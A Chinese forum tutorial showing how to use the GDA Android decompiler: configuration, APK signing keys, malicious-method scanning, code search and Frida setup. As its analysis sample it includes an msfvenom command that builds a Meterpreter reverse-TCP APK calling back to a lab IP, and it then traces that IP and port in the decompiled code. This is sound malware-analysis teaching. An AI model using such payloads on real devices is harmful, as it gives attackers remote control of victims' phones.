此篇文章以案例角度简单的介绍GDA各功能点如何使用
备注:各功能点深入介绍请前往官网查看分析向导部分
更新日期:2023年7月31日
配置界面
配置向导
选择某项配置后,将鼠标指针移动到左侧空白处会弹出配置提示信息
python:
注意:当前GDA(4.08)需要32位python,示例
Python 2.7.18 https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi
java :
java8:jdk-8u371-windows-i586
https://www.oracle.com/cn/java/technologies/downloads/#java8-windows
生成key
keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000
转换key的格式
keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12
将PKCS12格式的key dump为可直接阅读的文本
openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem
gedit tmp.rsa.pem
提取文本内的内容,根据其内容的标志信息创建两个文件,示例:
my_private.rsa.pem
my.x509.pem
转换,生成pk8格式的私钥
openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt
来自Android studio 示例代码:Hello Android
运行效果
申请的权限
恶意信息扫描
发现存在一些可被恶意使用的方法,例如:
Read contacts, SMS or other information
Collect IMEI, phone number, system version, etc
示例:查看与定位
通过GDA显示的代码,辅助分析到源代码相关位置
(名称 附近代码,位置等参考数据)
在kali 系统内,输入如下命令可生成一个具有反射shell功能的APK
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk
攻击机监听
监听中
安装并运行APK后
获取目标机设备信息
可在BaseInfo模块看到一些目标APK的基础信息
可通过点击功能按键查询证书信息或,在识图菜单找到相关查询选项
可筛选内容显示,例如:services,看到此apk可以服务状态运行(Service 是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。)
将APK解包并可选择编码格式查询相关信息
可使用adb shell "ps |grep 包名"
根据之前查询的APK包名示例查询如下:输入adb shell "ps |grep com.metasploit.stage"命令查询当前测试设备APK是否正在运行,
如下所示测试APK正在运行
HTTP Connection
在恶意方法行可双击进入相关代码页面
例如:这里点击了
分析代码,与网络协议相关部分(serverSocket),通过startWith方法判断字符串变量数据是否符合规则,若符合此规则:若字符串以tcp开头,那么将以":"分割该字符串
并将分割后的结果的序号2部分传递给一个变量将其作为端口号数值使用,并在进行分割取值传递给一个变量将其作为IP使用,若条件符合,将创建ServerSocket对象在指定ip、端口进行侦听,关键参数来自Payload.a
键入快捷键搜索:Ctrl F:
看到赋值语句,点击查看
查看到了反连的IP与端口信息
补充技巧:
全局搜索参数说明
类型---
refstr:搜索字符串(有被引用的字符串)
reffield:搜索类变量(有被引用的变量)
method:搜索方法
class:搜索类名
field:全局搜索类变量
package:包搜索
bin:二进制搜索
Content---
模糊:Payload
精确:"Payload"
正则:~".*Payload.*"
窗口始终显示选项
HTTP Connection 相关
运行Android设备(我这里是在存在GDA机器上运行的Android模拟器)
右键点击如下功能
可在弹窗的窗口看到当前机器的Frida版本信息
提示信息:Android设备未运行frida-server
使用GDACMD 输入如下命令查询Android设备内核版本信息:
adb shell getprop ro.product.cpu.abi
根据frida与Android设备的内容信息下载相关的frida-server
解压后的文件
输入如下命令将此文件拷贝到Android设备的 /data/local/tmp/目录下并重命名为frida-server
adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server
可输入如下命令启动frida-server
备注:su 为切换到root权限
左侧右键执行或快捷键F5
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-8-16 07:33
被梦幻的彼岸编辑
,原因: